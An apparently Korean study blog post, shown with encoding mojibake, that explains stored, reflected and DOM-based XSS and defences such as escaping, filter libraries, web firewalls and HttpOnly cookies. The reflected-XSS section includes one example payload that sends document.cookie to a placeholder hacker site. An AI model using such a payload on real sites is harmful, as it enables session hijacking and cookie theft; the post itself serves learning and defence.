XSS(Cross Site Scripting)

lovi0714ยท2022๋…„ 5์›” 2์ผ
0

๐Ÿ“Œ XSS (Cross Site Scripting)

๊ฒŒ์‹œํŒ, ์›น ๋ฉ”์ผ ๋“ฑ์— ์‚ฝ์ž…๋œ ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ•ด ํŽ˜์ด์ง€๊ฐ€ ๊นจ์ง€๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์‚ฌ์šฉ์„ ๋ฐฉํ•ดํ•˜๊ฑฐ๋‚˜ ์ฟ ํ‚ค ๋ฐ ๊ธฐํƒ€ ๊ฐœ์ธ ์ •๋ณด๋ฅผ ํŠน์ • ์‚ฌ์ดํŠธ๋กœ ์ „์†ก์‹œํ‚ค๋Š” ๊ณต๊ฒฉ.
(์ถœ์ฒ˜ : ๋„ค์ด๋ฒ„ ์ง€์‹๋ฐฑ๊ณผ)

  • ๊ฐ€์žฅ ๋„๋ฆฌ ์•Œ๋ ค์ง„ ์›น ๋ณด์•ˆ ์ทจ์•ฝ์  ์ค‘ ํ•˜๋‚˜.
  • ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๊ณต๊ฒฉํ•˜๋ ค๋Š” ์‚ฌ์ดํŠธ์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ๋ณด์•ˆ ์ทจ์•ฝ์ .
  • XSS๋ฅผ ํ†ตํ•ด C&C(์ข€๋น„ PC์— ๋ช…๋ น์„ ๋‚ด๋ฆฌ๊ฑฐ๋‚˜ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์ œ์–ดํ•˜๋Š” ์„œ๋ฒ„)๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•˜์—ฌ ์„ธ์…˜ ํ•˜์ด์žฌํ‚น ๊ณต๊ฒฉ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค.

๐Ÿ‘‰ ์ด๋ฏธ Cascading Style Sheets๋ฅผ CSS๋กœ ๋ถ€๋ฅด๊ณ  ์žˆ์–ด XSS๋ผ๊ณ  ํ•œ๋‹ค.

๐Ÿ“Œ ๋Œ€ํ‘œ์ ์ธ ๊ณต๊ฒฉ ๋ฐฉ์‹

1. Stored XSS

  • ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์„œ๋ฒ„์— ์ €์žฅ๋œ ํ›„ ์ง€์†์ ์œผ๋กœ ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜๋Š” ์ •์ƒ ํŽ˜์ด์ง€์—์„œ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์—๊ฒŒ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋…ธ์ถœ๋˜๋„๋ก ํ•˜๋Š” ๊ธฐ๋ฒ•์ด๋‹ค.
  • ์ง€์†์ ์œผ๋กœ ๊ณต๊ฒฉํ•œ๋‹ค๊ณ  ํ•˜์—ฌ Persistent XSS ๋ผ๊ณ ๋„ ํ•œ๋‹ค.
  1. ํ•ด์ปค๊ฐ€ ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋‹ด๊ธด ๊ฒŒ์‹œ๋ฌผ์„ ๋“ฑ๋ก
  2. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ
  3. ์‚ฌ์šฉ์ž๊ฐ€ ๊ฒŒ์‹œ๋ฌผ์„ ์ฝ์Œ
  4. ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋จ(์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจ๋‹นํ•œ๋‹ค๋˜๊ฐ€, ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰์…˜๋˜๋Š” ๊ณต๊ฒฉ ๋“ฑ..)

2. Reflected XSS

  • ์‚ฌ์šฉ์ž์—๊ฒŒ ์ž…๋ ฅ ๋ฐ›์€ ๊ฐ’์„ ์„œ๋ฒ„์—์„œ ๋˜๋Œ๋ ค ์ฃผ๋Š” ๊ณณ์—์„œ ๋ฐœ์ƒํ•œ๋‹ค.

  • ์›น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ง€์ •๋œ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ๋ฒ•์ด๋‹ค.

  • ๊ณต๊ฒฉ์šฉ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋Œ€์ƒ ์›น ์‚ฌ์ดํŠธ์— ์žˆ์ง€ ์•Š๊ณ  ๋‹ค๋ฅธ ๋งค์ฒด (ํƒ€ ์‚ฌ์ดํŠธ, ์ด๋ฉ”์ผ)์— ํฌํ•จ๋  ์ˆ˜ ์žˆ๋‹ค. (๋งํฌ๋ฅผ ํ†ตํ•ด ์ด๋™์‹œ์ผœ๋ฒ„๋ฆผ)

  • ์˜ˆ๋ฅผ ๋“ค๋ฉด GET ๋ฐฉ์‹์œผ๋กœ ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ์„ ๊ตฌํ˜„ํ•œ ์›น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์—
    http://www.์‚ฌ์ดํŠธ?search=<script>loaction.href("http://ํ•ด์ปค์‚ฌ์ดํŠธ?value="+document.cookie);</script>
    ์ด๋Ÿฐ์‹์œผ๋กœ ํ•ด์ปค์—๊ฒŒ ์‚ฌ์šฉ์ž์˜ ์ฟ ๊ธฐ๊ฐ’์„ ์ „์†กํ•˜๊ฒŒ๋” ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค.
    (์—ฌ๊ธฐ์„œ๋„ script ํƒœ๊ทธ ์“ฐ๋ ค๋‹ˆ๊นŒ ์•ˆ์จ์ง€๋„ค์š” ใ…Žใ…Ž &lt ์ด๋Ÿฐ์‹์œผ๋กœ ์“ฐ๋ฉด ์จ์ง)

  • Stored XSS์™€ ๋‹ค๋ฅด๊ฒŒ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ €์žฅ๋˜์ง€ ์•Š๊ณ  ์‘๋‹ต ํŽ˜์ด์ง€๋กœ ๋ฐ”๋กœ ํด๋ผ์ด์–ธํŠธ์— ์ „๋‹ฌ๋œ๋‹ค๋Š” ์ฐจ์ด์ ์ด ์žˆ๋‹ค.

3. DOM Based XSS

  • ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ ๋œ URL์„ ์‚ฌ์šฉ์ž๊ฐ€ ์š”์ฒญํ•˜๊ฒŒ ๋˜์–ด ๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ•ด์„ํ•˜๋Š” ๋‹จ๊ณ„์—์„œ ๋ฐœ์ƒํ•˜๋Š” ๊ณต๊ฒฉ.

  • ํด๋ผ์ด์–ธํŠธ ์ธก ์ฝ”๋“œ๊ฐ€ ์›๋ž˜ ์˜๋„์™€ ๋‹ค๋ฅด๊ฒŒ ์‹คํ–‰๋œ๋‹ค.

  • ๋‹ค๋ฅธ XSS ๊ณต๊ฒฉ๊ณผ ๋‹ฌ๋ฆฌ ์„œ๋ฒ„ ์ธก์—์„œ ํƒ์ง€๊ฐ€ ์–ด๋ ต๋‹ค.

  • URL๊ณผ ํ•จ๊ป˜ # ์ด๋ผ๋Š” ํŠน์ˆ˜๋ฌธ์ž๋ฅผ ์‚ฌ์šฉํ•ด์„œ ๊ณต๊ฒฉํ•œ๋‹ค. (# ์ดํ›„์˜ ๊ฐ’์€ ์„œ๋ฒ„๋กœ ์ „์†ก๋˜์ง€ ์•Š๋Š” ๊ธฐ๋Šฅ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Œ)

๐Ÿ“Œ ๋Œ€์‘ ๋ฐฉ์•ˆ

1. ์ž…์ถœ๋ ฅ ๊ฐ’ ๊ฒ€์ฆ (XSS ํŠน์ˆ˜๋ฌธ์ž ์น˜ํ™˜)

  • lucy-filter ๋“ฑ ์˜คํ”ˆ ์†Œ์Šค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ (์ง์ ‘ ๋งŒ๋“ค์–ด๋„ ์ƒ๊ด€์€ ์—†์Œ)
  • &, <, >, *, ', / ๋“ฑ

2. XSS ๋ฐฉ์–ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ, ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ์•ฑ ์‚ฌ์šฉ

  • XSS ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ฒ„ ๋‹จ์—์„œ ๊ฐœ๋ฐœ์ž๊ฐ€ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ
  • ๋ชจ๋“  ์‚ฌ์ดํŠธ๊ฐ€ ์•ˆ์ „ํ•˜๋‹ค๋Š” ๋ณด์žฅ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์šฉ์ž ์Šค์Šค๋กœ ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ์•ฑ ์ค‘ Anti XSS๋ฅผ ํ•ด์ฃผ๋Š” ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„ค์น˜ํ•˜์—ฌ ๋ฐฉ์–ด

3. ์›น ๋ฐฉํ™”๋ฒฝ ์‚ฌ์šฉ

  • ์›น ๋ฐฉํ™”๋ฒฝ์€ ์›น ๊ณต๊ฒฉ์— ํŠนํ™”๋˜์–ด ์žˆ์–ด XSS ๊ณต๊ฒฉ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๊ฐ์ข… Injection ๊ณต๊ฒฉ์„ ํšจ๊ณผ์ ์œผ๋กœ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ์Œ

4. ์ฟ ํ‚ค์— HttpOnly ์˜ต์…˜ ํ™œ์„ฑํ™”

  • ํ™œ์„ฑํ™” ํ•˜์ง€ ์•Š์œผ๋ฉด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ตํ•ด ์ฟ ํ‚ค์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜์—ฌ Session Hijacking ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.
  • LocalStorage์— ์„ธ์…˜ ID,ํ† ํฐ๊ณผ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜์ง€ ์•Š๋Š”๋‹ค.

reference!

https://www.youtube.com/watch?v=bSGqBoZd8WM
https://noirstar.tistory.com/266
https://jaeseongdev.github.io/development/2021/05/20/XSS/
https://www.leafcats.com/42

profile
๊ณต๋ถ€ ๊ธฐ๋ก

0๊ฐœ์˜ ๋Œ“๊ธ€